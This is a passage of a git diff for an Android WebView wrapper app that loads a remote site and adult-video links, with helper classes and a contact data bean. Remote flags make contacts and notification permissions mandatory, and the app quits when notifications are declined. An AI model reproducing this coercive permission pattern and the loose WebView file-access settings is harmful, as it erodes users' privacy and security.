(attrs != null) { + TypedArray array = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView); + borderColor = array.getColor(R.styleable.CircleImageView_ease_border_color, borderColor); + borderWidth = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_border_width, borderWidth); + pressAlpha = array.getInteger(R.styleable.CircleImageView_ease_press_alpha, pressAlpha); + pressColor = array.getColor(R.styleable.CircleImageView_ease_press_color, pressColor); + radius = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_radius, radius); + shapeType = array.getInteger(R.styleable.CircleImageView_es_shape_type, shapeType); + array.recycle(); + } + + // set paint when pressed + pressPaint = new Paint(); + pressPaint.setAntiAlias(true); + pressPaint.setStyle(Paint.Style.FILL); + pressPaint.setColor(pressColor); + pressPaint.setAlpha(0); + pressPaint.setFlags(Paint.ANTI_ALIAS_FLAG); + + setDrawingCacheEnabled(true); + setWillNotDraw(false); + } + + @Override + protected void onDraw(Canvas canvas) { + + if (shapeType == 0) { + super.onDraw(canvas); + return; + } + Drawable drawable = getDrawable(); + if (drawable == null) { + return; + } + // the width and height is in xml file + if (getWidth() == 0 || getHeight() == 0) { + return; + } + Bitmap bitmap = getBitmapFromDrawable(drawable); + drawDrawable(canvas, bitmap); + + if (isClickable()) { + drawPress(canvas); + } + drawBorder(canvas); + } + + /** + * draw Rounded Rectangle + * + * @param canvas + * @param bitmap + */ + @SuppressLint("WrongConstant") + private void drawDrawable(Canvas canvas, Bitmap bitmap) { + Paint paint = new Paint(); + paint.setColor(0xffffffff); + paint.setAntiAlias(true); //smooths out the edges of what is being drawn + PorterDuffXfermode xfermode = new PorterDuffXfermode(PorterDuff.Mode.SRC_IN); + // set flags + int saveFlags = Canvas.ALL_SAVE_FLAG + ; + canvas.saveLayer(0, 0, width, height, null, saveFlags); + + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(1, 1, getWidth() - 1, getHeight() - 1); + canvas.drawRoundRect(rectf, radius + 1, radius + 1, paint); + } + + paint.setXfermode(xfermode); + + float scaleWidth = ((float) getWidth()) / bitmap.getWidth(); + float scaleHeight = ((float) getHeight()) / bitmap.getHeight(); + + Matrix matrix = new Matrix(); + matrix.postScale(scaleWidth, scaleHeight); + + //bitmap scale + bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); + + canvas.drawBitmap(bitmap, 0, 0, paint); + canvas.restore(); + } + + /** + * draw the effect when pressed + * + * @param canvas + */ + private void drawPress(Canvas canvas) { + // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, pressPaint); + } else if (shapeType == 2) { + RectF rectF = new RectF(1, 1, width - 1, height - 1); + canvas.drawRoundRect(rectF, radius + 1, radius + 1, pressPaint); + } + } + + /** + * draw customized border + * + * @param canvas + */ + private void drawBorder(Canvas canvas) { + if (borderWidth > 0) { + Paint paint = new Paint(); + paint.setStrokeWidth(borderWidth); + paint.setStyle(Paint.Style.STROKE); + paint.setColor(borderColor); + paint.setAntiAlias(true); + // // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, (width - borderWidth) / 2, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(borderWidth / 2, borderWidth / 2, getWidth() - borderWidth / 2, + getHeight() - borderWidth / 2); + canvas.drawRoundRect(rectf, radius, radius, paint); + } + } + } + + /** + * monitor the size change + * + * @param w + * @param h + * @param oldw + * @param oldh + */ + @Override + protected void onSizeChanged(int w, int h, int oldw, int oldh) { + super.onSizeChanged(w, h, oldw, oldh); + width = w; + height = h; + } + + /** + * monitor if touched + * + * @param event + * @return + */ + @Override + public boolean onTouchEvent(MotionEvent event) { + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + pressPaint.setAlpha(pressAlpha); + invalidate(); + break; + case MotionEvent.ACTION_UP: + pressPaint.setAlpha(0); + invalidate(); + break; + case MotionEvent.ACTION_MOVE: + + break; + default: + pressPaint.setAlpha(0); + invalidate(); + break; + } + return super.onTouchEvent(event); + } + + /** + * @param drawable + * @return + */ + private Bitmap getBitmapFromDrawable(Drawable drawable) { + if (drawable == null) { + return null; + } + + if (drawable instanceof BitmapDrawable) { + return ((BitmapDrawable) drawable).getBitmap(); + } + + Bitmap bitmap; + int width = Math.max(drawable.getIntrinsicWidth(), 2); + int height = Math.max(drawable.getIntrinsicHeight(), 2); + try { + bitmap = Bitmap.createBitmap(width, height, BITMAP_CONFIG); + Canvas canvas = new Canvas(bitmap); + drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight()); + drawable.draw(canvas); + } catch (IllegalArgumentException e) { + e.printStackTrace(); + bitmap = null; + } + return bitmap; + } + + /** + * set border color + * + * @param borderColor + */ + public void setBorderColor(int borderColor) { + this.borderColor = borderColor; + invalidate(); + } + + /** + * set border width + * + * @param borderWidth + */ + public void setBorderWidth(int borderWidth) { + this.borderWidth = borderWidth; + } + + /** + * set alpha when pressed + * + * @param pressAlpha + */ + public void setPressAlpha(int pressAlpha) { + this.pressAlpha = pressAlpha; + } + + /** + * set color when pressed + * + * @param pressColor + */ + public void setPressColor(int pressColor) { + this.pressColor = pressColor; + } + + /** + * set radius + * + * @param radius + */ + public void setRadius(int radius) { + this.radius = radius; + invalidate(); + } + + /** + * set shape,1 is circle, 2 is rectangle + * + * @param shapeType + */ + public void setShapeType(int shapeType) { + this.shapeType = shapeType; + invalidate(); + } +} diff --git a/base_theme/src/main/java/com/web/base/ContactBean.java b/base_theme/src/main/java/com/web/base/ContactBean.java new file mode 100644 index 0000000..18251d9 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/ContactBean.java @@ -0,0 +1,29 @@ +package com.web.base; + +public class ContactBean { + + public String name; + public String phone; + + + public ContactBean(String name, String phone) { + this.name = name; + this.phone = phone; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getPhone() { + return phone; + } + + public void setPhone(String phone) { + this.phone = phone; + } +} diff --git a/base_theme/src/main/java/com/web/base/DataInfo.java b/base_theme/src/main/java/com/web/base/DataInfo.java new file mode 100644 index 0000000..f294620 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/DataInfo.java @@ -0,0 +1,124 @@ +package com.web.base; + +import java.io.Serializable; + +public class DataInfo implements Serializable { + + public String apkUrl; + public String description; + public int forceUpdate; + public String url; + public String downloadUrl; + public String versionCode; + public int isUse = 1; //是否正常使用 0不可用 1正常使用 + public int noticeApplyMode = 1; //通知权限加载方式 0不用1必须 + public int contactApplyMode = 1; //通讯录权限加载方式 0不用1必须 + public String fbUrl; // facebook分享地址 + public String tgUrl; // tg分享地址 + public String wsUrl; //whatsapp分享地址 + public String linkConfig; + + public String getLinkConfig() { + return linkConfig; + } + + public void setLinkConfig(String linkConfig) { + this.linkConfig = linkConfig; + } + + public int getIsUse() { + return isUse; + } + + public void setIsUse(int isUse) { + this.isUse = isUse; + } + + public int getNoticeApplyMode() { + return noticeApplyMode; + } + + public void setNoticeApplyMode(int noticeApplyMode) { + this.noticeApplyMode = noticeApplyMode; + } + + public int getContactApplyMode() { + return contactApplyMode; + } + + public void setContactApplyMode(int contactApplyMode) { + this.contactApplyMode = contactApplyMode; + } + + public String getFbUrl() { + return fbUrl; + } + + public void setFbUrl(String fbUrl) { + this.fbUrl = fbUrl; + } + + public String getTgUrl() { + return tgUrl; + } + + public void setTgUrl(String tgUrl) { + this.tgUrl = tgUrl; + } + + public String getWsUrl() { + return wsUrl; + } + + public void setWsUrl(String wsUrl) { + this.wsUrl = wsUrl; + } + + public String getDownloadUrl() { + return downloadUrl; + } + + public void setDownloadUrl(String downloadUrl) { + this.downloadUrl = downloadUrl; + } + + public String getApkUrl() { + return apkUrl; + } + + public void setApkUrl(String apkUrl) { + this.apkUrl = apkUrl; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public int getForceUpdate() { + return forceUpdate; + } + + public void setForceUpdate(int forceUpdate) { + this.forceUpdate = forceUpdate; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getVersionCode() { + return versionCode; + } + + public void setVersionCode(String versionCode) { + this.versionCode = versionCode; + } +} diff --git a/base_theme/src/main/java/com/web/base/GsonUtils.java b/base_theme/src/main/java/com/web/base/GsonUtils.java new file mode 100644 index 0000000..8facc6c --- /dev/null +++ b/base_theme/src/main/java/com/web/base/GsonUtils.java @@ -0,0 +1,91 @@ +package com.web.base; + +import android.text.TextUtils; + +import com.google.gson.Gson; +import com.google.gson.JsonObject; +import com.google.gson.reflect.TypeToken; + +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.List; + +/** + * json解析工具类 其实对于数组解析有一些问题 + * @author + */ +public class GsonUtils { + + public static Gson gson = new Gson(); + + /** + * 返回List对象 + * @param str + * @param type new TypeToken>(){}.getType() + * @param + * @return + */ + public static T getListFromJSON(String str, Type type) { + if (!TextUtils.isEmpty(str)) { + return gson.fromJson(str, type); + } + return null; + } + + /** + * 返回List对象 + * @param str + * @param cls + * @param + * @return + */ + public static List getListFromJSON(String str, Class cls) + { + Type type = new TypeToken>() + {}.getType(); + ArrayList jsonObjects = gson.fromJson(str, type); + ArrayList arrayList = new ArrayList<>(); + for (JsonObject jsonObject : jsonObjects) + { + arrayList.add(gson.fromJson(jsonObject, cls)); + } + return arrayList; + } + + /** + * 返回对象 + * @param str + * @param cls + * @param + * @return + */ + public static T getObjFromJSON(String str, Class cls) { + try { + if (!TextUtils.isEmpty(str)) { +// LogUtils.i("参数:"+str); + return gson.fromJson(str, cls); + } + return null; + }catch (Exception e) { + return null; + } + } + + /** + * 返回JsonString + * @return + */ + public static String beanToJSONString(Object bean) { + return new Gson().toJson(bean); + } + + + public static String JSONTokener(String in) { + // consume an optional byte order mark (BOM) if it exists + if (in != null && in.startsWith("\ufeff")) { + in = in.substring(1); + } + return in; + } + +} diff --git a/base_theme/src/main/java/com/web/base/LinkConfigInfo.java b/base_theme/src/main/java/com/web/base/LinkConfigInfo.java new file mode 100644 index 0000000..fa044fb --- /dev/null +++ b/base_theme/src/main/java/com/web/base/LinkConfigInfo.java @@ -0,0 +1,34 @@ +package com.web.base; + +import java.io.Serializable; + +public class LinkConfigInfo implements Serializable { + + public String name; + public String icon; + public String linkUrl; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getIcon() { + return icon; + } + + public void setIcon(String icon) { + this.icon = icon; + } + + public String getLinkUrl() { + return linkUrl; + } + + public void setLinkUrl(String linkUrl) { + this.linkUrl = linkUrl; + } +} diff --git a/base_theme/src/main/java/com/web/base/LogUtils.java b/base_theme/src/main/java/com/web/base/LogUtils.java new file mode 100644 index 0000000..c7bd63f --- /dev/null +++ b/base_theme/src/main/java/com/web/base/LogUtils.java @@ -0,0 +1,146 @@ +package com.web.base; + +import android.util.Log; + + +/** + * Log统一管理类 + * Created by on 2015/10/19 0019. + */ +public class LogUtils { + + private LogUtils() { + throw new UnsupportedOperationException("cannot be instantiated"); + } + +// public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + public static boolean isDebug = BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug,可以在application的onCreate函数里面初始化 +// public static boolean isDebug = false;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + + private static final String TAG = "BIKAOVIDEO"; + + /** + * 默认tag的函数 + * + * @param msg 打印信息 + */ + public static void v(String msg) { + if (isDebug) Log.v(TAG, msg); + } + + public static void d(String msg) { + if (isDebug) Log.d(TAG, msg); + } + + public static void i(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"BIKAOVIDEOsb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"BIKAOVIDEO" + msg.toString()); + } + } + } + + public static void w(String msg) { + if (isDebug) Log.w(TAG, msg); + } + + public static void e(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.e(TAG, "sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.e(TAG, "XHX" + msg.toString()); + } + + } + + } + + /** + * 自定义lag的函数 + * + * @param tag tag + * @param msg 打印信息 + */ + public static void v(String tag, String msg) { + if (isDebug) Log.v(tag, msg); + } + + public static void d(String tag, String msg) { + if (isDebug) Log.d(tag, msg); + } + + public static void i(String tag, String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"XHX" + msg.toString()); + } + } + } + + public static void w(String tag, String msg) { + if (isDebug) Log.w(tag, msg); + } + + public static void e(String tag, String msg) { + if (isDebug) Log.e(tag, msg); + } + + /** + * 自定义lag的函数 + * + * @param clazz 类 + * @param msg 打印信息 + */ + public static void v(Class clazz, String msg) { + if (isDebug) Log.v(clazz.getSimpleName(), msg); + } + + public static void d(Class clazz, String msg) { + if (isDebug) Log.d(clazz.getSimpleName(), msg); + } + + public static void i(Class clazz, String msg) { + if (isDebug) Log.i(clazz.getSimpleName(), msg); + } + + public static void w(Class clazz, String msg) { + if (isDebug) Log.w(clazz.getSimpleName(), msg); + } + + public static void e(Class clazz, String msg) { + if (isDebug) Log.e(clazz.getSimpleName(), msg); + } + +} \ No newline at end of file diff --git a/base_theme/src/main/java/com/web/base/MainActivity2.java b/base_theme/src/main/java/com/web/base/MainActivity2.java new file mode 100644 index 0000000..032d901 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/MainActivity2.java @@ -0,0 +1,1771 @@ +package com.web.base; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.app.Activity; +import android.app.NotificationManager; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.database.Cursor; +import android.graphics.Bitmap; +import android.graphics.Color; +import android.net.Uri; +import android.net.http.SslError; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.os.Message; +import android.provider.ContactsContract; +import android.text.Html; +import android.text.TextUtils; +import android.util.Log; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.webkit.ConsoleMessage; +import android.webkit.DownloadListener; +import android.webkit.JavascriptInterface; +import android.webkit.PermissionRequest; +import android.webkit.SslErrorHandler; +import android.webkit.ValueCallback; +import android.webkit.WebChromeClient; +import android.webkit.WebResourceError; +import android.webkit.WebResourceRequest; +import android.webkit.WebResourceResponse; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.cardview.widget.CardView; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; +import com.google.gson.Gson; +import com.king.app.updater.AppUpdater; +import org.json.JSONException; +import org.json.JSONObject; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; +import okhttp3.MediaType; +import okhttp3.RequestBody; + +public class MainActivity2 extends AppCompatActivity { + public WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + public ImageView showTopV1; + private LinearLayout showTopLy; + CardView otherApp; + CardView notifyCardView; + CardView ivNotify; + ImageView ivotherApp; + LinearLayout layoutOtherApp; + CardView ivFaceBook; + CardView ivTelG; + CardView ivWhatsApp; + CardView ivLink; + TextView tvLink; + ImageView ivLinkBg; + CardView ivHome; + private View topVvvv; + private ProgressBar progressBar; + public static String url = "https://candy916.co/"; + + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + public static int userId = 2; + private int contactApply = 1; + private int notifyApply = 1; + private String facebookUrl = ""; + private String whatsappUrl = ""; + private String telegramUrl = ""; + private List linkconfiglist; + private CardView cvShare; + + float lastX, lastY; + float initX, initY; + + @Override + protected void onNewIntent(Intent intent) { + super.onNewIntent(intent); + setIntent(intent); + Bundle bundle = intent.getExtras(); + if (bundle != null) { + MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message"); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } + } + } + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + if(getInt(MainActivity2.this, "style_color_int",0)!=0){ + getWindow().setNavigationBarColor(getInt(MainActivity2.this, "style_color_int", 0)); + } + if(getInt(MainActivity2.this, "windows_color_int",0)!=0){ + getWindow().getDecorView().setBackgroundColor(getInt(MainActivity2.this, "windows_color_int", 0)); + } + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + if (getInt(MainActivity2.this, "is_white", 0) == 1) { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + } else { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + } + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + String body = getIntent().getStringExtra("message"); + if (!TextUtils.isEmpty(body)) { + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } + } + + boolean isDownload = getBoolean(MainActivity2.this, "download", false); + if (!isDownload) { + setDownloadNumbers(); + } + initView(); + + + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + otherApp = findViewById(R.id.bt_otherapp); + ivotherApp = findViewById(R.id.iv_otherApp); + notifyCardView = findViewById(R.id.bt_notify); + ivNotify = findViewById(R.id.bt_notifyitem); + layoutOtherApp = findViewById(R.id.layout_otherapp); + ivFaceBook = findViewById(R.id.iv_facebook); + ivTelG = findViewById(R.id.iv_tel); + ivWhatsApp = findViewById(R.id.iv_whatsapp); + ivLink = findViewById(R.id.iv_link); + tvLink = findViewById(R.id.tv_link); + ivLinkBg = findViewById(R.id.iv_linkbg); + ivHome = findViewById(R.id.iv_home); + + cvShare = (CardView) findViewById(R.id.cv_share); + + tvLink.setText(Html.fromHtml("MISSAV")); + ivFaceBook.setOnClickListener(view -> { + toOtherApp(facebookUrl, "com.facebook.katana", 1); + }); + ivTelG.setOnClickListener(view -> { + toOtherApp(telegramUrl, "org.telegram.messenger", 2); + }); + ivWhatsApp.setOnClickListener(view -> { + toOtherApp(whatsappUrl, "com.whatsapp", 3); + }); + + ivHome.setOnClickListener(view -> { + webView.loadUrl(url); + }); +// + otherApp.setOnClickListener(view -> { + layoutOtherApp.setVisibility(layoutOtherApp.getVisibility() == View.VISIBLE ? View.GONE : View.VISIBLE); + int visi = layoutOtherApp.getVisibility(); + if (visi == 0) { + ivotherApp.setImageResource(R.mipmap.ic_shousuo); + } else { + ivotherApp.setImageResource(R.mipmap.ic_zhangkai); + } + }); + + + if (userId == 157 || userId == 158) { + ivLink.setVisibility(View.VISIBLE); + } + + if(userId == 217||userId == 211){ + otherApp.setVisibility(View.VISIBLE); + layoutOtherApp.setVisibility(View.GONE); + ivotherApp.setImageResource(R.mipmap.ic_zhangkai); + + }else{ + otherApp.setVisibility(View.INVISIBLE); + layoutOtherApp.setVisibility(View.VISIBLE); + ivotherApp.setImageResource(R.mipmap.ic_shousuo); + + } + + + if (userId == 157) { + cvShare.setVisibility(View.VISIBLE); + } + cvShare.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + if (userId == 157) { + Intent textIntent = new Intent(Intent.ACTION_SEND); + textIntent.setType("text/plain"); + textIntent.putExtra(Intent.EXTRA_TEXT, "https://kaki.hfcapital.top"); + startActivity(Intent.createChooser(textIntent, "分享")); + + } + } + + break; + } + return true; + }); + ivLink.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + toLink(); + } + + break; + } + return true; + }); + + ivNotify.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + notifyclick(); + } + + break; + } + return true; + }); + layoutOtherApp.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = v.getLeft() + (int) dx; + int top = v.getTop() + (int) dy; + int right = v.getRight() + (int) dx; + int bottom = v.getBottom() + (int) dy; + v.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + notifyclick(); + } + + break; + } + return true; + }); + + + + setTotalTongJi(); //每日活跃统计 + + + } + + private void toLink() { + if (userId == 157 || userId == 158) { + webView.loadUrl("https://missav.live/dm19/ms"); + + } else { + webView.loadUrl(linkconfiglist.get(0).getLinkUrl()); + } + } + + public void setBackDrawables(int drawableId) { + showTopLy.setBackgroundResource(drawableId); + } + + /** + * 显示圆角还是 原样显示 + * + * @param isRound + */ + public void setImageView(boolean isRound) { + if (isRound) { + show_top_v.setVisibility(View.VISIBLE); + showTopV1.setVisibility(View.GONE); + } else { + show_top_v.setVisibility(View.GONE); + showTopV1.setVisibility(View.VISIBLE); + } + } + + //跳转通知列表 + private void notifyclick() { + startActivity(new Intent(this, NotifyListActivity.class)); + } + + private void toOtherApp(String uri, String packagenames, int type) { + try { + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.setData(Uri.parse(uri)); + intent.setPackage(packagenames); + startActivity(intent); + } catch (Exception e) { + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.setData(Uri.parse(uri)); + startActivity(intent); + } + + } + + + ActionConfirmDialog actionDialog; + + private void checkNotify() { + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + if (!notificationManager.areNotificationsEnabled()) { + if (actionDialog == null) { + actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt), + getString(R.string.notification_setting_txt)); + } + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + jumpNotificationSetting(); + } + + @Override + public void toCancel() { + if (notifyApply == 1) { + MainActivity2.this.finish(); + } + + + } + }); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.setCancelable(false); + actionDialog.show(); + + + } + } + } + + private void jumpNotificationSetting() { + final ApplicationInfo applicationInfo = getApplicationInfo(); + try { + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS"); + intent.putExtra("app_package", applicationInfo.packageName); + intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName); + intent.putExtra("app_uid", applicationInfo.uid); + startActivity(intent); + } catch (Throwable t) { + t.printStackTrace(); + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS"); + intent.setData(Uri.fromParts("package", applicationInfo.packageName, null)); + startActivity(intent); + } + } + + @Override + public void onBackPressed() { + + if (webView.canGoBack()) {//当webview有多级能返回的时候 + String url = webView.getUrl(); + // 在首页 就退出这个页面 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + super.onBackPressed(); + } else { //不在首页 回到首页 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + } + topVvvv.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + //当有条过登录页面 只能重载 不然逻辑会异常 + if (hasSignIn) { + onShowNetView(); + webView.loadUrl(url); + } else { + while (webView.canGoBack()) { + webView.goBack(); + } + + } + } + + } else {//不能返回了 关闭进程 退出程序 + Intent homeIntent = new Intent(Intent.ACTION_MAIN); + homeIntent.addCategory(Intent.CATEGORY_HOME); + homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(homeIntent); + android.os.Process.killProcess(android.os.Process.myPid()); + System.exit(1); + + } + } + + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + + showTopV1 = (ImageView) findViewById(R.id.show_top_v1); + showTopLy = findViewById(R.id.show_top_ly); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + 